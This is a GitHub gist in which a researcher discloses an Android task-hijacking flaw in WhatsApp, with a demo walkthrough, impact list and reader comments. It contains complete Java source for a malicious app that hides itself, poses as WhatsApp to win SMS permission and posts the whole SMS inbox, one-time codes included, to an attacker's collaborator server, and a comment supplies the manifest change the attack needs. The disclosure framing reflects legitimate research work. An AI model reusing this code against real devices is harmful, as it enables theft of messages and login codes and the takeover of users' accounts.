Skip to content

Instantly share code, notes, and snippets.

@win3zz
Created September 10, 2023 10:03
Show Gist options
  • Save win3zz/e3160110cbd7f446ed9f2e79551d0604 to your computer and use it in GitHub Desktop.
Save win3zz/e3160110cbd7f446ed9f2e79551d0604 to your computer and use it in GitHub Desktop.
Task Hijacking Vulnerability in WhatsApp - Android

Task Hijacking Vulnerability in WhatsApp - Android

Around a year ago, I discovered a long-standing vulnerability in WhatsApp and other popular Android applications. Despite its existence for years, this vulnerability remained largely theoretical. To demonstrate its real-world impact, I successfully exploited it in WhatsApp, Facebook, and Facebook Lite. I promptly reported my findings to Facebook's Whitehat program. In this post, I'll share the details I provided to Facebook.

Don't want to read? Skip the technical details and watch the demo video here: https://youtu.be/1p3tehj3aUQ

Finding Description

While reviewing the WhatsApp Android application we have identified a misconfiguration in AndroidManifest.xml related to task control features. This misconfiguration leads to a critical vulnerability called task hijacking and enables the attack flow against the latest WhatsApp in Android-based phones.

In successful exploitation of the vulnerability, the malicious app can take over the "back stack" of the WhatsApp app, and whenever a user tries to open the vulnerable WhatsApp app, he or she will be shown the malicious app's activity. This attack flow is possible with anyone who has a malicious app on their phone.

I tried to exploit this and created a real proof of concept which easily confuses the user with the real app.

Steps to reproduce

  1. We decompiled the latest version of the Android application and noticed that the value of the launch mode attribute is Single Task. This is the main identification of the Android Task Hijacking vulnerability. Please see the reference section for details about this vulnerability

image1

  1. For testing purposes we used a Galaxy S3 device running Android 10 with the latest patch.

image2

  1. Note this OTP SMS of WhatsApp, later we will steal it.

image3

  1. A valid WhatsApp application has been installed from the Play Store.

image4

  1. Open the Burp Suite Collaborator client and copy the Collaborator payload. We will use this as the attacker's command and control (C&C or C2) server to receive the stolen SMS.

image5

  1. We have created a malicious Android app that will steal and send all available SMS to Burp collaborator client (Attacker's C&C server). Replace the "url" String variable in the code with the Burp collaborator payload. Run the application in Android Studio to install the application on the device.

Android app code:

public class MainActivity extends AppCompatActivity {

    private static final int MY_PERMISSIONS_REQUEST_SEND_SMS = 1;
    boolean shouldExecuteOnResume;
    String url = "https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oastify.com/"; // C&C server URL


    public static final MediaType JSON
            = MediaType.get("application/json; charset=utf-8");
    OkHttpClient client = new OkHttpClient();


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        shouldExecuteOnResume = false;
        moveTaskToBack(true);

        //checkForSmsPermission();
    }

    @Override
    protected void onResume() {
        super.onResume();
        setContentView(R.layout.activity_main);
        if(shouldExecuteOnResume){
            checkForSmsPermission();
        } else{
            shouldExecuteOnResume = true;
        }

    }

    private void checkForSmsPermission() {
        if (ActivityCompat.checkSelfPermission(this,
                Manifest.permission.READ_SMS) !=
                PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_SMS},
                    MY_PERMISSIONS_REQUEST_SEND_SMS);
        } else {
            readSMS();
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        switch (requestCode){
            case MY_PERMISSIONS_REQUEST_SEND_SMS:{
                if (grantResults[0] == PackageManager.PERMISSION_GRANTED){
                    readSMS();
                }else {
                    Toast.makeText(this, "Please grant permission", Toast.LENGTH_SHORT).show();
                    checkForSmsPermission();
                }
            }
        }
    }

    private void readSMS(){
        String[] reqCols = new String[]{"_id", "address", "body"};

        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), reqCols, null, null, null);

        JSONArray resultSet = new JSONArray();

        if (cursor.moveToFirst()) { // must check the result to prevent exception
            do {
                String msgData = "";
                JSONObject rowObject = new JSONObject();
                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
                    try {
                        rowObject.put(cursor.getColumnName(idx),cursor.getString(idx));
                    } catch (JSONException e) {
                        e.printStackTrace();
                    }
                }
                resultSet.put(rowObject);

            } while (cursor.moveToNext());
            Log.d("##SMS#win3zz##", resultSet.toString());

            post(url, resultSet.toString(), new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    Log.d("##Something went wrong#", e.toString());
                }

                @Override
                public void onResponse(Call call, Response response) throws IOException {
                    if (response.isSuccessful()) {
                        String responseStr = response.body().string();
                        Log.d("##Response##", responseStr);
                    } else {
                        Log.d("##Response##", "Error: Request not successful");
                    }
                }
            });

        } else {
            Log.d("##Error##", "Error: No SMS");
        }
    }

    Call post(String url, String json, Callback callback) {
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .build();
        Call call = client.newCall(request);
        call.enqueue(callback);
        return call;
    }

}

image6

  1. Note that there are two applications, one is legitimate and the other is a malicious app. Run the malicious app by clicking on it.

image7

  1. Observe that the application will run and hide immediately, even it will not appear in the recent activity.

image8

  1. Now click on our valid WhatsApp application (which is downloaded and installed from Playstore) and run it.

image9

  1. This is a very important part. Now you will see that the application is asking about SMS permission, but it is not actually being asked by our legitimate app, it is part of the malicious app, which is automatically injected into the activity stack when the legitimate WhatsApp application is opened.

image10

  1. Once the user gives permission as it is being asked by our valid WhatsApp application, all the SMS available in the device will be sent to the C&C servers. Observe the contents of the SMS in Burp collaborator client, which was viewed in Step 3.

image11

Impact

This vulnerability allows attackers/malware to take over WhatsApp and steal user data and perform a variety of attacks:

  • Harvest application permissions to perform malicious tasks including record audio, video, take picture from both camera
  • Read contacts, call logs and SMS logs (which may contain banking OTP and other sensitive information)
  • Payment pages can be Spoof to commit financial fraud which will cause reputational as well as financial loss to Meta Platforms, Inc.
  • In extreme scenario, attacker can even Make and/or record phone conversations

Response from Facebook

Screenshot 2023-09-10 114010

Conclusion

Despite not being accepted into Facebook's program, this vulnerability remains exploitable on many Android devices. To keep your Android device secure:

  1. Keep It Updated: Regularly update your device's software to patch known vulnerabilities.
  2. Stick to Trusted Sources: Avoid installing applications from external sources other than official app stores like Google Play Store.

Reference

  1. https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-ren-chuangang.pdf
  2. https://developer.android.com/guide/components/activities/tasks-and-back-stack
  3. https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html
  4. https://promon.co/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability/
  5. https://blog.dixitaditya.com/android-task-hijacking

Disclaimer

The information provided in this blog post is for educational purposes only. It is not intended to promote or encourage any illegal activities, including the creation of malware or unauthorized access to systems or data. Any misuse of the information presented in this blog post for illegal or unethical purposes is strongly discouraged and is against the law.

@Securee
Copy link

Securee commented Sep 14, 2023

Does your poc work in android 13? or just worked in older version android below android 10?

@win3zz
Copy link
Author

win3zz commented Sep 14, 2023

Does your poc work in android 13? or just worked in older version android below android 10?

@Securee I haven't tested it on Android 13, so I can't confirm whether it will work on the latest version.

@bubulean
Copy link

How did you configure your AndroidManifest.xml file?

@win3zz
Copy link
Author

win3zz commented Nov 22, 2023

@bubulean In the AndroidManifest.xml file, there will be only one change: defining the task affinity using its package name, like this: android:taskAffinity="com.your.target.app.package.name". You have to replace the value of the taskAffinity attribute in the application tag. Please refer to this blog

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment